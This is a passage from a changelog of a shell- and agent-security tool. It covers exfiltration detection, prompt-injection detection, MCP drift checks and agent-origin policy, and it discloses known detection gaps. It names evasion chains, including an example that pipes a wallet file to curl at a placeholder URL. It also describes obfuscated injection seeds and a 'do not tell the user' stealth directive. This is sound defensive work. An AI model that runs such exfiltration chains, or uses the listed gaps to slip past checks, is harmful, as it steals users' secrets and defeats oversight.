  • Confusable punctuation boundaries: non-ASCII punctuation such as U+3002 now terminates token context for ordinary prose without suppressing a confusable hostname signal such as github。com; combining-mark and tier-routing invariants remain covered.
  • Deletion correlation false positives: shell redirection operands, attached redirections, heredocs, process substitutions, dynamic file descriptors, and parameter expansions are no longer counted as deleted paths. Concrete Hermes snapshot and sandbox artifacts are classified only under defensible generated-path shapes; variable-based cleanup through shadowable shell commands deliberately remains counted.
  • Receipt and policy path containment: build receipts retain directory capabilities through traversal, revalidate quiescence and identity, reject unknown signed fields and attacker-controlled scan limits before work, and publish through contained atomic writes. Repository policy refuses intermediate symlink escapes while trusted user and organization policy keeps supported Nix/Home Manager final-symlink behavior.
  • Private checkpoint storage: checkpoint operations no longer fall back to the shared legacy /tmp/tirith/checkpoints path; they require a user-owned private state directory and validate its identity and permissions. checkpoints_dir() keeps its public PathBuf return type for source compatibility, while new code can use try_checkpoints_dir() for an explicit unavailable state. Existing legacy files are not migrated automatically: inspect and remove /tmp/tirith/checkpoints manually if an older release created it.
  • Private wallet paths in echoed command text: rules that echo raw command text when they exhaust a bounded-analysis budget (container, sudo) carried a private wallet path into CLI evidence and into the persistent audit log. A path is not a secret byte string, so value-based redaction could not see it: a BIP-39 mnemonic in the same command was scrubbed while ~/.config/Exodus/exodus.wallet was not. Path redaction is now applied at the shared entry point used by evidence, the audit log, and last_trigger.json, driven by the same reviewed path catalog rather than a second list.
  • Wallet-exfiltration evasions: xargs and find -exec operand promotion, GNU parallel :::, single-file compressors (gzip -c, xz -c, zstd -c) whose path operand was being eaten by a head/tail option table, and openssl enc -out / gpg -o / age -o staged outputs were each a confident allow through a full exfiltration chain. All are now modelled, with the promoted-read cases marked incomplete where the file a utility opens is genuinely not statically knowable.
  • Test isolation: the gateway duplicate-id test no longer writes its strict execution ledger into the operator's real state directory under a fixed session id, and one lock now owns the process-global working directory for cli::preview and cli::setup.
  • Cross-platform test contracts: Cline setup tests derive the same Documents directory as the installer, Windows extractor fixtures no longer depend on executing a #!/bin/sh fake, and Bash 3.2 compatibility tests no longer assert the Bash 5+ DEBUG-trampoline guarantee.
  • License classification probe: explicit non-CC0 licenses now increment their own counter instead of sharing the CC0 arm, so an MIT declaration is reported as another explicit license rather than CC0.

Security

  • Execution ownership and fail-closed supervision: timeout arithmetic is checked before spawn; Unix descendants remain in a supervised process group; Windows descendants are assigned to the intended job before they can escape; terminal state and cleanup failures are recorded instead of being inferred from launcher exit alone.
  • Network, feed, and resolver boundaries: URL consumers use origin-aware redirects, bounded DNS and response work, rebinding-resistant resolution, proxy isolation where required, and explicit privacy rules for external reputation providers. Feed compilation and publication reject partial source trees rather than replacing a usable signed database with incomplete data.
  • State integrity and audit privacy: sensitive values and reviewed private paths are redacted before persistence or rendering; audit, receipt, session, trust, registry, checkpoint, and canary files use private or contained atomic writes and surface write failures. Webhook command previews are represented by a redacted-only type so an unredacted command cannot be serialized by mistake.
  • License and release boundaries: revocation-like webhook events that cannot be ordered are dead-lettered rather than dropped, dead-letter failures and internal server errors are logged, and an unparseable refresh-token timestamp fails closed. Release actions, images, runners, and package inputs are immutably pinned; validation and publication are separated; crates, npm packages, containers, checksums, signatures, and provenance are treated as single-use release artifacts.

Known issues

The following limitations are explicitly deferred from 0.4.0. They remain documented release constraints rather than claims of complete enforcement.

  • Broad custom-DLP patterns can rewrite generated machine fields. Several JSON/MCP projections recursively redact every string value after construction. Keys, booleans, and numbers survive, but generated enum labels, receipt types, content identifiers, hashes, and other protocol-owned strings can match an operator regex and be replaced, producing schema-valid JSON whose semantics or later signature/receipt verification no longer match. Custom DLP needs field classification so only untrusted/sensitive values are mutable.
  • tirith install --yes is an unattended task-policy approval. At the package-manager execution boundary, an explicit --yes mints the typed unattended_package_manager approval required by action_incomplete_analysis: require_approval; it does not require a TTY or a separate human. Do not use require_approval there as a human-in-the-loop guarantee. Use a blocking task policy or omit --yes until unattended acknowledgement is separated from policy approval.
  • Interpreted MCP code binding is repository-wide and not execute-sealed. Exact binding hashes every regular file under the repository root, refuses symlinks/special files, and fails above fixed entry/file/byte limits rather than discovering the interpreter's true dependency closure, so a large or heterogeneous repository can make the gateway unavailable. The tree is rehashed immediately before spawn but the interpreter later reopens paths; a concurrent same-user mutation after revalidation can change the bytes actually loaded. Containment limits read reach but does not turn the snapshot into sealed reviewed bytes.
  • Agent-host end-to-end verification remains manual. Fixture and adapter tests prove the generated contracts, but only a real host can prove config discovery, hook loading, and refusal behavior for its installed version. Grok Build, Cline, and OpenHands also run the tool when their hook process errors or times out. Do not equate doctor artifact presence or an MCP listing with effective blocking.
  • Prime Agent IPython coverage is lexical, not a Python runtime boundary. Earlier-cell wrappers, reflection such as getattr/__import__, and third-party packages that spawn processes cannot be proven by source extraction. Dynamic/unrecognized forms fail closed when they are visible to the extractor, but arbitrary kernel execution requires a separate interception layer.
  • A full disk locks a zsh or fish shell out of every command. The zsh widgets and the fish hook both create a scratch capture file through mktemp before the tirith binary runs and fail closed when that fails, so a full or read-only TMPDIR refuses every command and every paste. Bash is unaffected: it degrades to preexec instead. TIRITH=0 does not help, because it is honoured inside the binary and the binary is never reached. Recovery and prevention are documented in docs/troubleshooting.md.
  • Nested-shell exfiltration gap. A sensitive read inside a nested shell body whose sink is outside it (bash -c "cat <wallet>" | curl -d @- <url>) is not correlated. The same chain wholly inside, or wholly outside, the -c body is detected. Fixing it needs nested-body read-provenance propagation through the dataflow loop.
  • forge create has no grammar arm. The canonical Foundry deploy command yields an Unknown operation with an AmbiguousSubcommand gap. On the engine surfaces (tirith check, the shell hook, tirith_check_command, the gateway) that gap produces NO finding: the command returns a clean allow with an empty findings list and exit 0, because web3_gate::check never reads the parse result's gaps. tirith task check does report it as "complete": false. Do not read engine-surface silence on forge create as a clean result.
  • Six web3_guard fields are declared but inert. deny_destinations, require_command_card, command_card_key_ids, selector_aliases, and the web3_guard copies of action_incomplete_analysis and action_ambiguous_hardhat_production_run are parsed, validated, repo-sanitized, and printed by tirith policy effective, but no rule consults them. tirith policy validate reports such a policy as valid. A denied destination is not flagged and a required command card is not demanded.
  • The schema-2 Web3 command card has no caller and no authoring surface. Card::approves_web3, Web3CardBindings, and CARD_SCHEMA_V2 are referenced only by command_card.rs and its own tests; the engine's card path is v1 string equality; and command-card create exposes no Web3 flags. It is a data structure, not a control that can be turned on.
  • Only the gateway-forward boundary records task-gate decisions. is_recordable() has one production caller, so the other eight owned boundaries write nothing in observe or enforce mode. An observation burn-in cannot measure them.

[0.3.3] - 2026-06-19

Added

  • Evasion-resistant prompt-injection detection: a shared deobfuscate text-normalization pass (zero-width / invisible strip, Unicode confusable skeleton, NFKC, inter-character whitespace collapse, bounded leetspeak fold, and short base64 / hex decode behind a printable gate). Prompt-injection and config-file scanning now run against these normalized variants in addition to the raw input; raw scanning is never replaced. Typoglycemia (character transposition) is out of scope for now.
  • PromptInjectionObfuscated (High): a new rule for an injection seed that matches only after deobfuscation, where the obfuscation itself is the signal. Raw matches still fire IgnorePreviousInstructions / PromptInjectionInOutput.
  • OutputDataExfiltration (High, MITRE T1041): a new exfil rule for markdown / URL beacons carrying a secret-shaped token or canary, secret-shaped URL query values, and "read a sensitive path then send / post / upload" directives (including the "do not tell the user" stealth directive).
  • injection_seeds_custom policy field: add your own prompt-injection seed regexes via .tirith/policy.yaml, user, or org policy. A repo-scoped policy may add seeds (it can only tighten). Invalid regexes are reported by tirith policy validate and skipped rather than failing the load.
  • mcp_redact_injection policy field (default off): opt-in to downgrade an injection-only MCP tool-output block to a redacted warning, blanking the seed spans and forwarding the rest. Only user / org scope can enable it (a repo-scoped policy cannot weaken this), and it refuses to downgrade when any non-injection finding blocks or when structured content is present.
  • threatdb ExfilEndpoint source (Primary tier): a known-exfiltration-endpoint hostname source, populated from the CI threat feed.

Fixed

  • .deb / verify-self byte mismatch (issue #146): the Debian package now ships the exact canonical release binary instead of a separate rebuild, so an apt-installed tirith passes tirith verify-self. A release CI guard asserts the .deb binary is byte-identical to the published tarball binary. The .rpm is still rebuilt against the target distro's glibc (so it keeps running on RHEL / Rocky 9) and is intentionally not byte-identical.
  • verify-self no longer falsely flags source-built installs: cargo install, AUR, and the distribution .rpm are compiled from source or against a different libc, so they cannot be byte-compared to the generic release binary. They now report an honest "unverified" (exit 0) rather than a false "modified or replaced" failure, and AUR installs on Arch and its derivatives are detected as such. Homebrew is handled the same way: the homebrew-core formula builds from source (distributed as a bottle), so a mismatch downgrades to "unverified" naming brew install sheeki03/tap/tirith, while the prebuilt tap binary still verifies.
  • Scoop autoupdate URL: the release workflow no longer corrupts the manifest's autoupdate template (a loose version-matching pattern was rewriting the literal v$version to v0.3.2$version).

[0.3.2] - 2026-06-16

Added

  • M5 platform & reach: tirith lab (offline adversarial training corpus); Windows / PowerShell rules (ExecutionPolicy bypass, Defender exclusions, inline IEX download-execute).

  • M5.5 / M6 install & fix: tirith fix (interactive remediation presenter with a narrowly verified pipe-runner command when available); tirith install across 12 backends; tirith doctor --quick.

  • M7 output & egress firewall: tirith view, output, share, redact, clipboard, logs; output-direction detection (OSC 52 clipboard writes, fake prompts, hyperlink / title manipulation); gateway run --filter-output, mcp-server --sanitize-tool-output.

  • M8 operational context: tirith context, ssh, iac, sudo, devcontainer, codespaces, prompt-status; labeled-prod, IaC-apply, sudo-escalation, and container rules.

  • M9 workstation hygiene: tirith hygiene, persistence, aliases, env, exec, path, hooks; credential-hygiene, persistence-foothold, PATH-hijack, and executable-provenance rules.

  • M10 blast radius & isolation: tirith preview, watch, taint, intend, baseline, temp-run, fetch --save; blast-radius, taint, and opt-in anomaly rules.

  • M11 trust ecosystem: tirith command-card, commands, canary, secret, incident; signed-attestation and canary-honeytoken rules.

  • M12 browser & visual provenance: tirith visual-audit, browser (Chrome native-messaging host), paste --with-source; paste_source_mismatch rule.

  • M13 onboarding, dashboard & rule DSL: tirith onboard, dashboard, rule (custom when: predicate DSL), ai; AI-config drift rules; 7 policy templates.

  • M14 IDE integration: tirith lsp language server with editor analysis profiles.

  • Agent-session guardrails: tirith pending (decision registry), tirith audit verify (tamper-evident hash chain), per-rule suppression cooldown, checkpoint restore reporting, agent-memory config scanning, deferred outcome (tirith check --defer, exit code 4), and cross-event correlation rules.

  • CLI transparency & safety UX: tirith status (protection health, non-zero on degrade), tirith policy effective, tirith trust from-last-trigger, global --quiet / TIRITH_QUIET, tirith daemon start --detach; tirith check --suggest (renamed from --suggest-safe-command).

  • Agent governance — engine wiring, bypass-path origin stamp, and shared YAML helper (M4 item 8 chunk 3) — chunk 3 of the per-agent governance work. Turns chunk 2's observation-only agent_rules schema into enforcement, fixes the engine's bypass-path double-log so a TIRITH=0-bypassed BLOCK records exactly one audit entry with agent_origin populated, and consolidates the duplicated yaml_safe_scalar / yaml_safe_inline_comment helpers into a single shared module. (1) Engine wiring — apply_agent_rules runs inside post_process_verdict. A new helper crate::escalation::apply_agent_rules(&mut Verdict, &Policy) consults policy::agent_decision against verdict.agent_origin and applies the minimal chunk-3 cut: Denied forces action = Block and appends a fresh Finding { rule_id: RuleId::AgentDeniedByPolicy, severity: High, … } whose description names the matched origin (Debug-escaped) and the policy file path; Allowed and Unspecified leave the verdict alone (and agent_origin: None is treated as Unspecified — an engine path that never set an origin has nothing to match against). The splice is after escalation and before warning recording so escalation-driven Blocks stay Block and the Warn-recording path correctly skips when chunk 3 flips to Block. Existing detection findings are preserved — agent_rules layers on top, never replaces. Allow is NOT a bypass — a verdict the engine already blocked stays blocked even if the caller is on the allow-list; richer "trusted agent" semantics (severity overrides on allow, approval_required: true, per-origin fail_mode) are deferred to a future chunk pending real telemetry from chunk-2's tirith agent sessions reads. (2) New RuleId::AgentDeniedByPolicy wired through every safeguard touchpoint: verdict.rs (enum variant), scoring.rs (the structural arm of is_threat_intel_rule returns false), build.rs (EXPECTED_RULES), golden_fixtures.rs (ALL_RULE_IDS + EXTERNALLY_TRIGGERED_RULES since the rule fires from policy state, not from input characters), assets/data/rule_explanations.toml (full operator-facing entry — title, category policy, severity rationale, threat-model recap, false-positive guidance pointing at tirith agent allow, remediation). The four golden_fixtures.rs safeguard tests (test_all_rule_ids_have_fixture_coverage, test_no_url_rules_have_no_url_fixtures, test_extractor_ids_cover_rule_triggers, test_tier1_does_not_gate_findings) and test_rule_id_list_is_complete all pass — every touchpoint stays in sync. (3) Bypass-path origin stamp. Pre-chunk-3, when TIRITH=0 was honored, engine::analyze_inner called crate::audit::log_verdict itself — inside the engine, before the CLI got a chance to set agent_origin. Then the CLI also called log_verdict, producing a double audit entry where the first entry was missing origin and the second one had it. Chunk 3 removes the engine's bypass-path audit entirely; the caller is now the single audit site for the engine-driven analysis paths (cli/check.rs, cli/paste.rs, mcp/tools.rs::call_check_command) and always stamps agent_origin first. cli/paste.rs and mcp/tools.rs previously SKIPPED audit on bypass_honored (trusting analyze() to have logged); both now audit unconditionally after stamping origin. cli/check.rs was already auditing in this branch; it now stops double-logging because the engine no longer logs. The same review-round pass extended the stamping invariant to the analysis-then-audit paths that previously called audit::log_verdict without setting verdict.agent_origin: cli/install.rs (both the package-manager and URL forms) and cli/ecosystem.rs::scan now resolve the CLI origin (resolve_cli_origin(interactive)) and stamp it on the verdict before the audit write, so tirith install and tirith ecosystem scan audit lines are attributed instead of landing in tirith agent sessions' "unknown" group. The gateway path stamps AgentOrigin::Gateway on the in-memory raw verdict in chunk 1 and persists the same constant in its local stderr-JSONL AuditEntry<'a> via a new always-set agent_origin field — closing a pre-chunk-3-follow-up gap where the in-memory verdict carried origin but the serialized line dropped it. The audit-aggregator tirith agent sessions documentation in crates/tirith/src/main.rs is updated to reflect the closed audit sites; the help text is explicit that origin attribution is best-effort and a future analysis-then-audit path that does not stamp origin will still land its entries in the "unknown" group rather than be silently attributed. (4) Chunk-2 test retired. agent_rules_chunk2_loading_changes_no_verdict (in crates/tirith-core/src/policy.rs) was the explicit "chunk 3 must retire this" contract; it's gone, replaced by five chunk-3 tests in crates/tirith-core/src/escalation.rs::tests: agent_rules_deny_forces_block_on_allow_verdict, agent_rules_deny_keeps_block_on_already_blocked_verdict, agent_rules_allow_does_not_bypass_block, agent_rules_unspecified_leaves_verdict_unchanged, and the critical regression guard agent_rules_unset_does_not_introduce_finding (legacy policies with no agent_rules block stay byte-for-byte identical to pre-chunk-3 behavior). Plus apply_agent_rules_returns_true_only_on_denied (helper signature), apply_agent_rules_no_origin_is_treated_as_unspecified (None handling), and agent_rules_finding_description_escapes_hostile_origin_payload (Debug-format pinning so a future control-byte-bearing origin can't leak through the audit description). The narrower "engine::analyze itself ignores agent_rules" claim — which IS still true; enforcement lives in post_process_verdict, not the raw engine — is pinned by a new engine_analyze_does_not_consult_agent_rules test that replaces the retired one. The chunk-2 field-level invariant (agent_rules_chunk2_observation_only_invariant) is preserved with an updated docstring noting it now guards against agent_rules accidentally bleeding into adjacent mechanisms (allowlist / blocklist / severity overrides). (5) Shared YAML helper module — crates/tirith/src/cli/yaml.rs. Pre-chunk-3, yaml_safe_scalar and yaml_safe_inline_comment lived as two byte-identical copies in cli/mcp.rs and cli/agent.rs. Chunk 3 consolidates both into a single pub(crate) module so future changes (and the DEL-escape post-process that previously had to be ported by hand) live in one place. Both call sites now import safe_scalar as yaml_safe_scalar (and same for safe_inline_comment + YAML_NEEDS_QUOTING_BYTES) so the existing call-site code and tests stay readable. The exhaustive round-trip test in cli/mcp.rs::yaml_safe_scalar_round_trips_through_yaml_parser (every YAML special character, every C0 control byte, DEL, multi-byte UTF-8, empty string) still passes byte-for-byte; the shared module ships its own smoke-test suite (safe_scalar_empty_becomes_quoted, safe_scalar_plain_identifier_is_bare, safe_scalar_quotes_yaml_indicator_byte, safe_scalar_quotes_control_bytes, safe_scalar_escapes_del_for_yaml_roundtrip, safe_inline_comment_passes_safe_strings_unchanged, safe_inline_comment_escapes_control_bytes) so this module is green on its own. (6) Design doc updateddocs/agent-governance-design.md § 5 flipped from "shipped in chunk 2 (observation-only)" to a full chunk-3 status table mapping AgentDecision → verdict effect, and § 6's chunk-2 out-of-scope items "policy enforcement" and "the bypass-path double-log" are marked Resolved in chunk 3. A new chunk-3 out-of-scope block documents the deferred richer matcher payloads. Trust model unchanged from chunks 1 + 2. Every signal feeding AgentOrigin is still operator-trust, never adversary-resistant — TIRITH_INTEGRATION, MCP clientInfo, CI env vars, is_terminal() are all settable by any process running as the user. agent_rules enforcement layers on top of caller-claimed signals: a policy author who treats a deny match as "this came from a hostile caller" is wrong; they're rejecting whatever the caller claimed their identity is. Use this for operator-trust scoping (the operator declares "I don't run my MCP server's tools/call on commands my CI ran"), not for adversarial security. Like every other engine path, apply_agent_rules is off the tier-1/2/3 detection hot path and touches no network.

  • Agent governance — CLI surface + agent_rules policy schema (M4 item 8 chunk 2) — chunk 2 of the per-agent governance work, building on chunk 1's AgentOrigin scaffolding. Chunk 2 was observation-only: it made chunk 1's recorded signal inspectable and added the policy schema chunk 3 wires on, but no engine path consulted agent_rules to change a verdict in this chunk. Enforcement landed in chunk 3. The original regression test agent_rules_chunk2_loading_changes_no_verdict (in crates/tirith-core/src/policy.rs) was retired in chunk 3 as that chunk's contract required. (1) New CLI group — tirith agent — four subcommands grouped under a single verb mirroring tirith mcp. tirith agent sessions reads the local JSONL audit log, groups every verdict entry by its recorded AgentOrigin, and reports per-group counts, last-seen timestamps, and an Allow/Warn/Block histogram (with WarnAck folded into the warn bucket). Hook-telemetry rows are filtered out (those are not verdicts and carry agent_origin: None by design). Entries with no agent_origin land in an explicit "unknown" bucket rather than being silently dropped — honesty over apparent tidiness. --format json emits a stable envelope (schema_version, log_path, group_count, total_entries, groups). A missing audit log is NOT an error: it reports plainly with zero groups and exits 0. tirith agent explain <query> drills into one session id (exact match) or command substring (case-insensitive, also against the rendered origin label so an operator can search for "claude-code"), surfacing up to 20 matches sorted newest-first with the attribution chain: AgentOrigin, redacted command, action, timestamps, rule IDs, bypass state, and policy path. tirith agent policy init scaffolds .tirith/agent-policy.yaml.example from the audit log's distinct observed origins — every entry commented out by design (mirrors tirith mcp policy init's convention — importing a scaffold must never silently widen trust). The scaffold is deterministic: origins are sorted by (kind, payload), the header is fixed, and no timestamps are embedded, so two runs against the same log produce a byte-identical file. A missing log writes a header-only template rather than failing — the operator gets a starting point either way. --force overwrites an existing example; without it, the example is preserved. tirith agent allow --kind <kind> [--tool <name>] validates an (kind, tool?) matcher pair and prints the YAML snippet an operator pastes under agent_rules.allow: in their policy. It deliberately does NOT mutate any policy file — agent_rules is observation-only today, and silently appending would suggest enforcement that does not exist yet; the operator integrates it themselves the same way they integrate tirith mcp policy init's example output. Validation: kind must be human / agent / mcp / gateway / ci / ide; --tool on a payloadless kind (human, gateway) is rejected up-front because it would match nothing; an empty --tool "" is rejected for the same reason. (2) Policy schema — agent_rules — additive field on ScanPolicyConfig's parent Policy struct. AgentRules { allow: Vec<AgentMatcher>, deny: Vec<AgentMatcher> }, with AgentMatcher { kind: AgentOriginKind, tool: Option<String> } where AgentOriginKind is a separate closed enum mirroring AgentOrigin's discriminator (cleaner deserialization, rejects an unknown kind at policy-load time rather than silently matching nothing). String matching is case-sensitive exactclaude-code does not match Claude Code; the design doc records (Q2) that normalization is intentionally deferred until chunk 3 has a real telemetry sample set. (3) Pure decision helper — policy::agent_decision(&policy, &origin) -> AgentDecision — walks deny in declaration order (first match → Denied), then allow (first match → Allowed), else Unspecified. The helper is not consulted by the engine in chunk 2; chunk 3 will wire it into the verdict pipeline. A tool filter applied to Human or Gateway is harmless (those variants carry no caller-claimed payload — the helper matches nothing); the policy validator surfaces it as a warning so the operator notices the typo. (4) Policy validator updatespolicy_validate.rs adds agent_rules to the known top-level fields list (so it doesn't trip the "unknown field" warning) and emits Warning-level diagnostics for matchers shaped wrong: tool on a payloadless kind, empty tool: "". threat_intel was also added to the known list — a pre-existing typo-guard gap that's now closed. (5) Policy template updates — the full, individual, ci-strict, and ai-agent-heavy templates produced by tirith policy init now include documented but commented-out agent_rules examples tuned to each scenario (CI gets a kind: ci, tool: github-actions allow; ai-agent-heavy gets both allow and deny examples). All templates still validate. (6) Design doc updateddocs/agent-governance-design.md § 5 flipped from "preview, not built in this chunk" to "shipped in chunk 2", with command-line examples, exit-code semantics, the matcher shape decision (closed kind + free-form tool, per Q1's recommendation), and the schema-vs-enforcement boundary. Out-of-scope sections clearly delineate chunk-1, chunk-2, and chunk-3 boundaries. (7) YAML safety — server / origin payloads passed through yaml_safe_scalar are quoted-and-escaped before they reach the example file or the tirith agent allow snippet output. A maliciously-crafted tool name containing :, #, newline, or ANSI escape cannot break the YAML structure or inject control sequences when the operator cats the file. The snippet round-trips cleanly through serde_yaml after pasting; a dedicated test covers a hostile-payload scaffold parsing back unchanged. Trust model unchanged from chunk 1. Every signal feeding AgentOrigin remains operator-trust, never adversary-resistant — TIRITH_INTEGRATION, MCP clientInfo, CI env vars, is_terminal() are all settable by any process running as the user. agent_rules is for filtering, dashboarding, and observability; if a policy decision must withstand a hostile environment, layer real authentication elsewhere. No new RuleId. Whether enforcement should produce a distinct RuleId or reuse an existing one is a chunk-3 decision. Like every other observability surface, every command is a local file operation: it touches no network and is off the tier-1/2/3 detection hot path.

  • Agent governance — design spike + observability scaffolding (M4 item 8 chunk 1) — the first artifact of the per-agent governance work, deliberately split off from any enforcement code. (1) Design document at docs/agent-governance-design.md recording the threat model (every signal is operator-trust, not adversary-resistant — TIRITH_INTEGRATION, MCP clientInfo, is_terminal(), every CI provider env var is settable by any process running as the user), the closed enum surface, the population path through VerdictAuditEntry, a preview of the planned tirith agent sessions / explain / policy init / allow subcommands (chunk 2+), and a section of open questions for the next chunk. The design is explicit that chunk 1 is observation-only: no policy gate consumes the new signal, no RuleId is added, no Action is changed, and the safeguard tests in golden_fixtures.rs stay untouched. (2) AgentOrigin enum at crates/tirith-core/src/agent_origin.rs — a closed tagged union with six variants (Human { interactive }, Agent { tool, version? }, Mcp { client_name, client_version? }, Gateway, Ci { provider? }, Ide { name }). Every caller-supplied free-form string (tool name, client name, provider, IDE name, version) passes through sanitize_caller_label / sanitize_caller_version: trim ASCII whitespace, drop ASCII control bytes + Unicode invisible / format / surrogate codepoints (the same classes the byte-scan rules already flag in command input — re-emitting them through the origin label would defeat the scan), and cap at 256 bytes for labels / 64 bytes for versions with char-boundary truncation so a multibyte UTF-8 sequence is never sliced mid-codepoint. A million-byte hostile TIRITH_INTEGRATION cannot crash, cannot inject newlines into an audit log line, cannot inject ANSI escapes into a terminal, cannot bloat the entry — every constructor path is covered by a unit test. (3) CLI-side environment resolverresolve_cli_origin(interactive) reads the current process env in fixed priority order: TIRITH_INTEGRATION set → Agent, named CI provider env set (GITHUB_ACTIONS, GITLAB_CI, BUILDKITE, CIRCLECI, JENKINS_URL, TRAVIS, TF_BUILD, BITBUCKET_BUILD_NUMBER, TEAMCITY_VERSION, DRONE, CODEBUILD_BUILD_ID) → Ci { provider: Some(canonical-tag) }, generic CI=trueCi { provider: None }, else Human { interactive }. The provider tag (github-actions, etc.) is a fixed string chosen by tirith — never assembled from attacker bytes. CI=false is correctly treated as "not CI". (4) MCP-side per-session origin store at crates/tirith-core/src/mcp/origin.rs — the dispatcher captures initialize.clientInfo once and writes it to a process-scoped RwLock<Option<AgentOrigin>>; every subsequent tools/call reads it back. Absent clientInfo records Mcp { client_name: "unknown-mcp-client" } rather than falling back to Human — "this came from MCP" remains structurally true even when the client is anonymous. client_info is no longer #[allow(dead_code)]. (5) Plumbing into the verdict and audit layersVerdict.agent_origin: Option<AgentOrigin> and AuditEntry.agent_origin: Option<AgentOrigin> are both additive, both serde-default-on-parse (old log.jsonl lines without the field still load through audit_aggregator::AuditRecord), and both skip_serializing_if = "Option::is_none" (a verdict that never had its origin set produces no agent_origin field on the wire). The CLI check / paste paths stamp the origin on the raw verdict immediately after engine::analyze; the MCP tool handlers (tirith_check_command, tirith_check_url, tirith_check_paste) read from the session store; the gateway request and notification paths both stamp AgentOrigin::Gateway. log_verdict_with_raw reads verdict.agent_origin and copies it to AuditEntry.agent_origin — no caller wiring changes; populating the verdict is sufficient. Hook-telemetry and trust-change audit entries leave agent_origin: None (those entry types are not verdicts and their existing integration field already identifies the hook). No new RuleId, no policy enforcement, no schema bump. Chunk 1 ends here; chunk 2 wires the tirith agent subcommands and the per-origin policy gate.

  • MCP policy governance — scan.trusted_mcp_servers, scan.mcp_allowed_tools, and tirith mcp policy init — chunk 3 of the Agent & MCP governance work. The policy field scan.trusted_mcp_servers already existed in the schema but was not consulted by any rule; chunk 3 wires it through. An MCP server NAME listed there now suppresses every per-server MCP config finding (mcp_insecure_server, mcp_untrusted_server, mcp_suspicious_args, mcp_overly_permissive, and mcp_duplicate_server_name when the duplicate's name is itself trusted), and filters drift entries with that name out of the mcp_server_drift finding — so a server the operator has reviewed and accepted neither raises config-side noise nor counts as drift. The filter is fine-grained: when every drift is for a trusted server, no drift finding fires; when some drifts are for trusted servers and others are not, only the untrusted ones surface — the trusted entries are dropped, not "trust the whole batch or none". An unparseable lockfile still fires (we cannot know which servers it concerned), exactly as it did before. Trust matching is case-sensitive and exact-string — MCP server names are arbitrary identifiers, not URLs, so locale-insensitive folding would be the wrong default. New policy field — scan.mcp_allowed_tools — a HashMap<String, Vec<String>> keyed by MCP server name, listing the exact tool names that server may expose. Two effects, both surfacing through the existing mcp_server_drift rule (no new RuleId): (1) At drift time, when drift exposes a tool to a server whose name is a key in mcp_allowed_tools and that tool is NOT in the allowed set, the drift finding is upgraded from the default Medium to High severity — adding a tool outside the allowed set is a stronger signal than ordinary drift. The ladder covers both drift shapes that can introduce new tool exposure: a Changed drift (an existing server gains a new tool — checked via tools_added), and an Added drift (a brand-new server appears with a disallowed tool in its declared tool list). Without the Added arm, an attacker could smuggle a disallowed tool by introducing a new server rather than mutating an existing one, and the finding would stay at the default Medium; the ladder applies symmetrically to both paths. Drift inside the allowed set keeps Medium; an mcp_allowed_tools entry of [] for a server forbids ANY tool on that server (every new tool is out-of-set); a Removed drift does not feed the ladder because the ladder is about new exposure, never lost exposure. (2) At lockfile load, when the lockfile itself records tools outside the allowed set for a server (the failure mode of "an MCP tool was snuck past tirith mcp lock"), a High-severity mcp_server_drift finding fires naming the offending tools — alongside any other drift findings, so an operator sees both the immediate violation and the broader inventory state. A server NOT listed in mcp_allowed_tools is unconstrained — the gate is opt-in. New command — tirith mcp policy init — scaffolds a starter MCP policy from the current .tirith/mcp.lock. It writes .tirith/mcp-policy.yaml.example listing every currently-locked server as a trusted_mcp_servers candidate (deduplicated by name, since the same name can legitimately appear in two configs) and every currently-recorded tool list as an mcp_allowed_tools entry. Every entry is commented out by design — importing the example must NEVER silently widen trust; the operator reviews the scaffold, uncomments what they intend to declare, and merges it into .tirith/policy.yaml themselves. A separate .example file is cleaner than mutating an existing policy.yaml (the operator can diff the scaffold against their working policy and integrate the bits they want). The scaffold is deterministic — running mcp policy init twice against the same lockfile produces a byte-identical example file; the lockfile is already sorted by (name, source_config), and the scaffold sorts further via BTreeSet / BTreeMap. Server / tool names are YAML-quoted-and-escaped before they reach the example — a maliciously-crafted server name containing a :, #, newline, or ANSI escape cannot break the YAML structure or inject control sequences when the operator cats the file. --force overwrites an existing example file; without it, an existing example is preserved (the operator may have edited it to track their working policy). --format json emits a structured planned-policy preview (server count, tool count, the scaffold itself) so a CI integration can ingest the proposal without reading the file. A missing lockfile is NOT fatal — a header-only scaffold is still written so the operator has a starting point; an unparseable lockfile IS fatal (exit 1) because we cannot tell what to list. No new RuleId. Chunk 3 reuses McpServerDrift for the lockfile-side disallowed-tool flag and the existing Mcp* rules for the config-side suppression — the four golden_fixtures.rs safeguard tests, the structural arm in scoring.rs, the EXPECTED_RULES map in build.rs, the ALL_RULE_IDS list, and rule_explanations.toml need no schema changes. The policy template (policy.yaml) gains documented but commented-out trusted_mcp_servers / mcp_allowed_tools examples in the full, individual, ci-strict, and ai-agent-heavy variants, so a fresh tirith policy init shows what the fields look like even before the operator runs mcp policy init. Policy validation already accepted scan.mcp_allowed_tools as a known field name (it was added in the schema work that introduced the field). Like every other mcp subcommand, policy init is a local file operation — no network, off the tier-1/2/3 detection hot path.

  • MCP lockfile drift detection — tirith mcp verify, tirith mcp diff, and the mcp_server_drift scan rule — chunk 2 of the Agent & MCP governance work. tirith mcp verify rebuilds the current inventory and compares it against the committed .tirith/mcp.lock: it exits 0 when the two match, 1 when drift is detected (a server added, removed, or altered — transport, env, declared tools, or URL credentials), and 2 on a usage error (no lockfile to verify against, lockfile unreadable, repo root unresolved). The exit-code split lets a CI integration distinguish "the lockfile is stale" (1, the build must fail) from "there is no lockfile to verify" (2, the build must abort with a clear message). tirith mcp diff shows the same drift but informationally — it exits 0 whether or not drift is present (drift is reported, not enforced), but a usage error (missing lockfile, unreadable lockfile, unresolvable repo root) still exits 2 so a piped consumer can distinguish "no drift" from "I could not check" — for inspecting a config change before refreshing the lockfile. Both support --format json with a stable envelope (schema_version, repo_root, lock_path, command, lockfile_format_version, drift_count, added_count, removed_count, changed_count, in_sync, and a sorted drifts array; the drift list is byte-stable regardless of inventory order). Drift is also detected in the tirith scan FileScan path via a new RuleId::McpServerDrift rule (Severity Medium, "review me" not "block"): when tirith scan walks a repository and reaches .tirith/mcp.lock, the rule parses the lockfile, rebuilds the inventory from the repo's MCP configs, and fires when the two differ — so a pre-commit hook or CI scan catches an MCP-surface change the same way it catches an un-pinned action or smuggled instruction. The structured drift core distinguishes every category from the chunk-2 brief: server added, server removed, transport changes (KindChanged, UrlChanged, UserinfoAdded / Removed / Swapped, CommandChanged, ArgsChanged, EnvChanged), per-env-variable changes (Added / Removed / ValueHashChanged), and per-tool changes (Added / Removed / Set / Reordered). It rides on the chunk-1 inventory hash: when current_lock.inventory_hash == lockfile.inventory_hash the drift is provably empty and the per-server 